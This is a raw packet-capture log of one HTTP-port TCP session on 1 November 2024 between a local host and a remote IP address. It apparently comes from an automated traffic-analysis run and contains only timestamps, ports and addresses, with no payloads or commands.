Nov 1, 2024 08:50:17.958452940 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.958457947 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.958470106 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.958482027 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.958492994 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.958503008 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.958513975 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.958519936 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.958519936 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.958564043 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.959008932 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.959059954 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.959084034 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.959095955 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.959127903 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.959321976 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.959331989 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.959343910 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.959357023 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.959371090 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.959372044 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.959381104 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.959392071 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.959403038 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.959414959 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.959419966 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.959419966 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.959425926 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.959445000 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.959453106 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.959460020 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.959471941 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.959486961 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.959491968 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.959501028 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.959547043 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.960180998 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.960192919 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.960202932 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.960232019 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.960243940 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.960249901 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.960257053 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.960267067 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.960298061 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.960298061 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.960391998 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.960405111 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.960416079 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.960428953 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.960439920 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.960453033 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.960455894 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.960464954 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.960467100 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.960477114 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.960488081 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.960499048 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.960500002 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.960552931 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.960557938 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.960570097 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.960582018 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.960593939 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.960604906 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.960617065 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.960622072 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.960622072 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.960629940 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.960640907 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.960653067 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.960664034 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.960678101 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.960689068 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.960689068 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.960714102 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.960725069 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.960736036 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.960742950 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.960747004 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.960757971 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.960768938 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.960768938 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.960781097 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.960794926 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.960813046 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.960813046 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.960824966 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.960829973 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.960836887 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.960845947 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.960858107 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.960869074 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.960881948 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.960894108 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.960894108 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.960896969 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.960907936 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.960917950 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.960959911 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.960972071 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.960983038 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.960987091 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.960987091 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.960993052 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.961004019 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.961016893 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.961029053 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.961029053 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.961029053 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.961040020 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.961046934 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.961050034 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.961065054 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.961070061 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.961082935 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.961092949 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.961101055 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.961105108 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.961117029 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.961123943 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.961128950 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.961159945 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.961159945 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.963453054 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.072114944 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.072154999 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.072171926 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.072184086 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.072195053 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.072206974 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.072227001 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.072227001 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.072279930 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.072304964 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.072348118 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.072357893 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.072369099 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.072403908 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.072427034 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.072438002 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.072455883 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.072474957 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.072484970 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.072510004 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.072520971 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.072520971 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.072521925 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.072530031 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.072541952 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.072554111 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.072559118 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.072590113 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.072593927 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.072607994 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.072619915 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.072653055 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.072653055 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.072673082 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.072683096 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.072700024 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.072727919 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.072735071 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.072756052 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.072774887 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.072788000 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.072860956 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.072887897 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.072899103 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.072909117 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.072933912 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.072940111 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.072949886 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.072981119 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.072988987 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.072993040 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.072993040 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.073009968 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.073021889 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.073034048 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.073040962 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.073040962 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.073062897 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.073116064 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.073139906 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.073153973 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.073164940 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.073177099 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.073179960 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.073198080 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.073215961 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.073215961 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.073227882 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.073239088 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.073247910 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.073261023 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.073278904 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.073278904 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.073299885 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.073338032 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.073348999 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.073371887 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.073383093 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.073393106 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.073404074 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.073406935 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.073415041 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.073419094 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.073427916 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.073438883 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.073442936 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.073457003 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.073497057 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.073497057 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.074111938 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.074174881 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.074186087 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.074224949 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.074233055 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.074235916 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.074248075 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.074259043 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.074271917 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.074284077 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.074317932 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.074330091 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.074340105 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.074356079 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.074359894 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.074367046 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.074404001 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.074423075 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.074469090 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.074480057 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.074490070 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.074501991 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.074512959 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.074522972 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.074533939 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.074548960 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.074553967 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.074553967 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.074559927 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.074568033 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.074572086 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.074600935 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.074609041 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.074611902 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.074621916 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.074624062 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.074635029 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.074646950 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.074666977 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.074676037 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.074687004 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.074697018 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.074708939 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.074712038 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.074712038 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.074721098 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.074733973 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.074743986 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.074752092 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.074754953 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.074759007 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.074795961 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.074809074 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.074811935 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.074820042 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.074918985 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.074965000 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.074976921 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.074989080 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.075006008 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.075016975 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.075022936 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.075032949 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.075043917 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.075052977 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.075052977 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.075054884 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.075067997 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.075079918 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.075090885 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.075102091 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.075113058 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.075114965 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.075122118 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.075139046 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.075181007 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.106926918 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.112404108 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.112431049 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.112474918 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.112478971 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.112529039 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.112551928 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.112565041 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.112576008 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.112588882 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.112628937 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.112637997 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.112648964 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.112653971 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.112654924 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.112695932 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.112785101 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.112797022 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.112812042 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.112832069 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.112845898 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.112854958 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.112864017 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.112867117 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.112881899 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.112890959 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.112890959 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.112905979 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.112906933 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.112931967 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.112956047 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.112966061 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.112967968 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.112981081 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.113002062 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.113013983 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.113019943 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.113019943 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.113023996 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.113050938 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.113058090 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.113066912 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.113080025 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.113092899 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.113106966 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.113117933 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.113128901 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.113142967 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.113157034 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.113163948 CET	80	49738	185.215.113.16	192.168.2.4
